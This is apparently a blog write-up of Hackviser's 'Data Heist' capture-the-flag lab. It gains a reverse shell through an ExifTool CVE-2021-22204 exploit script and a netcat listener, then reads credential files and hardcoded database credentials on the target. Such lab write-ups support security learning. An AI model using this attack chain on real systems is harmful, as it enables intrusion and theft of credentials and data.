Data-Heist Write-up Hackviser

Category: Web, System

Introduction

Data Heist is an scenario on the Hackviser platform. The objective revolves around exploiting a vulnerable file upload functionality to gain remote code execution on the target machine, then navigating the file system to extract sensitive data. This write-up documents the full attack chain — from initial exploitation to credential discovery and database connection string exfiltration.

Step 1 — Exploiting the File Upload (CVE-2021–22204)

The target exposed a web application with a file upload feature. The running version of ExifTool was vulnerable to CVE-2021–22204, a critical remote code execution vulnerability that allows arbitrary code execution through crafted metadata in image files.

Get Khanbaba Abdurahmanov’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

To exploit this, I searched-up exploit-db, exploit script (50911.py) and a malicious JPEG image with an embedded reverse shell payload. After running it, i encountered error aboutdjvulibre-bin — a required dependency for the exploit — was installed:

sudo apt install djvulibre-bin

python 50911.py -s <your-ip> 4444

The tool generated a malicious image.jpg reverse shell payload

Step 2 — Catching the Reverse Shell

With a netcat listener running on port 4444, the upload triggered the embedded payload and a shell arrived:

nc -lvnp 4444

A raw shell was established as the www-data user

Step 3 — Enumerating the Web Server Directory

With shell access, I began navigating the server’s file system. Moving into /var/www:

cd /var/www
ls -al

drwxr-xr-x  2 www-data www-data  4096 Jun 10 15:14  93c0550a5543b366_uploads
drwxr-xr-x  8 www-data www-data  4096 Feb 28  2024  exiftool-12.23
drwxr-xr-x  3 www-data www-data  4096 Feb 28  2024  html

The uploads directory stood out immediately. Inside, a large number of user-uploaded files were present :

cd 93c0550a5543b366_uploads
ls

clients.csv
users.csv
database.go
Ja23s6_techinnovations_invoice.pdf
shell.jpg
shell.phtml
ftp_custom_words.txt
VacationPhotos.csv
...

Notable files found.

Step 4— Extracting Credentials from users.csv

The users.csv file contained employee data. To locate credentials belonging to the company waltersltd, I used grep:

cat users.csv | grep "waltersltd"

Step 5— Finding the Invoice Number

I tried to open Ja23s6_techinnovations_invoice.pdf but i could not understand binary:) so i started simple python http server and download file to my local computer to check invoice number.

Step 6— Extracting the Database Connection String

Among the uploaded files there was database.go — a Go source file for a backend database connector.

cat database.go

Hardcoded credentials exposed in database.go

GL:)